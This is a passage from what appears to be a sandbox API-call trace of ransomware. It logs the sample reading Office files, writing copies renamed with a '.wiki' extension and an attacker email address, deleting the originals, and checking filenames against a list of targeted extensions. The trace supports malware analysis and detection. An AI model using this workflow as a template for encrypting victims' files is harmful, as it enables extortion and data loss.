Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0046.146] GetLastError () returned 0x0 [0046.146] ReadFile (in: hFile=0x1b0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0046.148] WriteFile (in: hFile=0x1b8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0046.149] ReadFile (in: hFile=0x1b0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.149] WriteFile (in: hFile=0x1b8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0046.149] SetEndOfFile (hFile=0x1b8) returned 1 [0046.149] CloseHandle (hObject=0x1b8) returned 1 [0046.150] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.150] SetEndOfFile (hFile=0x1b0) returned 1 [0046.151] CloseHandle (hObject=0x1b0) returned 1 [0046.151] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0046.152] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0046.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.152] lstrlenW (lpString=".doc") returned 4 [0046.152] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.152] lstrlenW (lpString=".docx") returned 5 [0046.152] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0046.152] lstrlenW (lpString=".pdf") returned 4 [0046.152] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.152] lstrlenW (lpString=".xls") returned 4 [0046.152] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.152] lstrlenW (lpString=".xlsx") returned 5 [0046.152] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0046.152] lstrlenW (lpString=".ppt") returned 4 [0046.152] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.152] lstrlenW (lpString=".zip") returned 4 [0046.152] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.152] lstrlenW (lpString=".rar") returned 4 [0046.152] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.152] lstrlenW (lpString=".bz2") returned 4 [0046.152] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.152] lstrlenW (lpString=".7z") returned 3 [0046.152] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.152] lstrlenW (lpString=".dbf") returned 4 [0046.152] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.152] lstrlenW (lpString=".1cd") returned 4 [0046.153] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.153] lstrlenW (lpString=".jpg") returned 4 [0046.153] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.153] lstrlenW (lpString=".doc") returned 4 [0046.153] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.153] lstrlenW (lpString=".docx") returned 5 [0046.153] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0046.153] lstrlenW (lpString=".pdf") returned 4 [0046.153] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.153] lstrlenW (lpString=".xls") returned 4 [0046.153] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.153] lstrlenW (lpString=".xlsx") returned 5 [0046.153] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0046.153] lstrlenW (lpString=".ppt") returned 4 [0046.153] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.153] lstrlenW (lpString=".zip") returned 4 [0046.153] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.153] lstrlenW (lpString=".rar") returned 4 [0046.153] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.153] lstrlenW (lpString=".bz2") returned 4 [0046.153] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.153] lstrlenW (lpString=".7z") returned 3 [0046.153] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.153] lstrlenW (lpString=".dbf") returned 4 [0046.153] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.153] lstrlenW (lpString=".1cd") returned 4 [0046.153] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.153] lstrlenW (lpString=".jpg") returned 4 [0046.153] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.154] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0046.154] lstrlenW (lpString="Setup.xml") returned 9 [0046.154] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0046.154] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=20577) returned 1 [0046.154] CloseHandle (hObject=0x1b0) returned 1 [0046.154] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0046.154] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.154] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0046.154] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.154] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.154] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0046.155] GetLastError () returned 0x0 [0046.155] ReadFile (in: hFile=0x1b0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x5061, lpOverlapped=0x0) returned 1 [0046.158] WriteFile (in: hFile=0x1b8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0046.160] ReadFile (in: hFile=0x1b0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.160] WriteFile (in: hFile=0x1b8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.160] SetEndOfFile (hFile=0x1b8) returned 1 [0046.160] CloseHandle (hObject=0x1b8) returned 1 [0046.161] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.161] SetEndOfFile (hFile=0x1b0) returned 1 [0046.163] CloseHandle (hObject=0x1b0) returned 1 [0046.163] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0046.163] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0046.163] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.163] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.164] lstrlenW (lpString=".doc") returned 4 [0046.164] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.164] lstrlenW (lpString=".docx") returned 5 [0046.164] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.164] lstrlenW (lpString=".pdf") returned 4 [0046.164] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.164] lstrlenW (lpString=".xls") returned 4 [0046.164] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.164] lstrlenW (lpString=".xlsx") returned 5 [0046.164] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.164] lstrlenW (lpString=".ppt") returned 4 [0046.164] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.164] lstrlenW (lpString=".zip") returned 4 [0046.164] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.164] lstrlenW (lpString=".rar") returned 4 [0046.164] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.164] lstrlenW (lpString=".bz2") returned 4 [0046.164] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.164] lstrlenW (lpString=".7z") returned 3 [0046.164] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.164] lstrlenW (lpString=".dbf") returned 4 [0046.164] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.164] lstrlenW (lpString=".1cd") returned 4 [0046.164] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.164] lstrlenW (lpString=".jpg") returned 4 [0046.164] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.164] lstrlenW (lpString=".doc") returned 4 [0046.164] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.165] lstrlenW (lpString=".docx") returned 5 [0046.165] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.165] lstrlenW (lpString=".pdf") returned 4 [0046.165] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.165] lstrlenW (lpString=".xls") returned 4 [0046.165] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.165] lstrlenW (lpString=".xlsx") returned 5 [0046.165] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.165] lstrlenW (lpString=".ppt") returned 4 [0046.165] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.165] lstrlenW (lpString=".zip") returned 4 [0046.165] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.165] lstrlenW (lpString=".rar") returned 4 [0046.165] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.165] lstrlenW (lpString=".bz2") returned 4 [0046.165] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.165] lstrlenW (lpString=".7z") returned 3 [0046.165] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.165] lstrlenW (lpString=".dbf") returned 4 [0046.165] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.165] lstrlenW (lpString=".1cd") returned 4 [0046.165] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.165] lstrlenW (lpString=".jpg") returned 4 [0046.165] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.165] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0046.165] lstrlenW (lpString="VisiorWW.xml") returned 12 [0046.165] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.166] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=8723) returned 1 [0046.166] CloseHandle (hObject=0x170) returned 1 [0046.166] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0046.166] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.166] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.167] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.167] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.167] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0046.167] GetLastError () returned 0x0 [0046.167] ReadFile (in: hFile=0x170, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x2213, lpOverlapped=0x0) returned 1 [0046.168] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0046.169] ReadFile (in: hFile=0x170, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.169] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.169] SetEndOfFile (hFile=0x1b0) returned 1 [0046.170] CloseHandle (hObject=0x1b0) returned 1 [0046.170] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.170] SetEndOfFile (hFile=0x170) returned 1 [0046.171] CloseHandle (hObject=0x170) returned 1 [0046.171] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0046.171] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0046.172] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0046.172] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0046.172] lstrlenW (lpString=".doc") returned 4 [0046.172] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString=".docx") returned 5 [0046.172] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0046.172] lstrlenW (lpString=".pdf") returned 4 [0046.172] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString=".xls") returned 4 [0046.172] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString=".xlsx") returned 5 [0046.172] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0046.172] lstrlenW (lpString=".ppt") returned 4 [0046.172] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0046.172] lstrlenW (lpString=".zip") returned 4 [0046.172] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.172] lstrlenW (lpString=".rar") returned 4 [0046.172] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString=".bz2") returned 4 [0046.172] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString=".7z") returned 3 [0046.172] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.172] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0046.172] lstrlenW (lpString=".dbf") returned 4 [0046.172] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0046.172] lstrlenW (lpString=".1cd") returned 4 [0046.172] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0046.172] lstrlenW (lpString=".jpg") returned 4 [0046.172] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.172] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0046.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0046.173] lstrlenW (lpString=".doc") returned 4 [0046.173] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.173] lstrlenW (lpString=".docx") returned 5 [0046.173] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0046.173] lstrlenW (lpString=".pdf") returned 4 [0046.173] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.173] lstrlenW (lpString=".xls") returned 4 [0046.173] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.173] lstrlenW (lpString=".xlsx") returned 5 [0046.173] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0046.173] lstrlenW (lpString=".ppt") returned 4 [0046.173] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0046.173] lstrlenW (lpString=".zip") returned 4 [0046.173] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.173] lstrlenW (lpString=".rar") returned 4 [0046.173] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.173] lstrlenW (lpString=".bz2") returned 4 [0046.173] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.173] lstrlenW (lpString=".7z") returned 3 [0046.173] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0046.173] lstrlenW (lpString=".dbf") returned 4 [0046.173] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0046.173] lstrlenW (lpString=".1cd") returned 4 [0046.173] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0046.173] lstrlenW (lpString=".jpg") returned 4 [0046.173] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.173] lstrcmpiW (lpString1=".EPS", lpString2=".wiki") returned -1 [0046.174] lstrlenW (lpString="MS.EPS") returned 6 [0046.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.175] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=15067) returned 1 [0046.175] CloseHandle (hObject=0x170) returned 1 [0046.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0046.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.175] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.175] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: 